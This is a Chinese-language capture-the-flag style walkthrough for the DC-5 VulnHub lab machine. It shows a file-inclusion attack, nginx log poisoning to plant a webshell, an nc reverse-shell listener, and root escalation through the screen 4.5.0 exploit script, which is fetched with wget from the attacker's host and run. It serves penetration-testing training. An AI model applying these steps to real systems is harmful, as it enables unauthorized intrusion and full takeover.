環境安裝
DC-5下載地址:https://www.vulnhub.com/entry/dc-4,313/
下載完成安裝後,將kali和DC-5的靶場網路環境設定一致
kali的IP:192.168.37.129
一、資訊收集
尋找靶機的IP
方法一:利用nmap命令查詢靶機IP
方法二:利用arp-scan -l 檢視區域網內其他IP方式查詢靶機IP
發現靶機的IP為192.168.37.131,掃描該IP發現開放了80埠和111埠
訪問80埠檢視網站,首先可以透過Wappalyzer可以發現該網站是nginx 1.6.2版本
訪問網站中各個網頁發現Contact.php是一個留言視窗,隨便上傳點東西自動跳轉到了thankyou.php
可以利用dirsearch對該網站進行目錄掃描
dirsearch是一個目錄掃描工具,目的則是掃描目錄的敏感檔案和目錄
若kali中沒有dirsearch模組,可以使用以下命令安裝
apt-get install
dirsearch
dirserarch 基礎用法:dirsearch -u [URL]
二、檔案包含
訪問footer.php,發現每次重新整理網頁時間會改變;訪問thankyou.php,每次重新整理網頁會發現底部的時間也隨之改變,但在其他網頁重新整理頁面發現是一個靜態頁面,無論怎麼重新整理都並沒有任何改變,猜測在thankyou.php檔案中包含footer.php檔案,存在著檔案包含漏洞
利用burp抓包,進行爆破檔案包含的關鍵字,發現可利用的是 file
執行?file=/etc/passwd,發現有回顯,存在檔案包含的漏洞
但是知道了檔案包含漏洞,但並不知道從哪可以寫入木馬,透過其他的大佬的wp發現可以透過nginx的日誌檔案傳馬
前面已經知道該網站使用的是nginx1.6.2版本
它的日誌會被記錄在/var/log/nginx/error.log 或 /var/log/nginx/access.log
直接在url後面輸入 上傳後
訪問日誌會發現我們寫的一句話木馬,中 '<' 和 '>' 被編碼,則需要在burp中抓包,在資料包中寫入馬上傳
上傳成功後用蟻劍連線
三、建立反彈shell
在kali中作監聽
首先在kali中輸入命令偵聽埠
nc -lvnp 6666
然後在蟻劍中輸入命令
回到終端中建立成功後,利用python反彈shell
python -c "import pty;pty.spawn('/bin/bash')"
切換到互動shell
四、本地提權
使用命令,首先測設一下能否suid提權
find / -perm -u=s -type f 2>/dev/null
發現一個screen,去kali本地漏洞庫查詢一下是否存在這個漏洞
命令:searchsploit screen 4.5.0
可以看到 .sh 的是一個指令碼檔案,直接將這個指令碼檔案提出來即可
在桌面新建了一個dc5檔案,將檔案複製到當前目錄
cat -A a.sh 檢視指令碼檔案
每個作業系統以字元表示結尾的時候是不同的,檢視指令碼檔案若每行結尾為 ^M
則需要使用命令 dos2unix a.sh 將其轉換一下
再將這個指令碼複製到Apache目錄下
cp a.sh /var/www/html
再回到互動shell中,切換到tmp目錄下,將靶機上的指令碼下載下來
wget http://192.168.37.129/a.sh
若kali中apache沒有啟動,可以使用一下命令啟動apache
service apache2 start
最後使用bash執行指令碼檔案即可,便成功提權到root使用者中
bash a.sh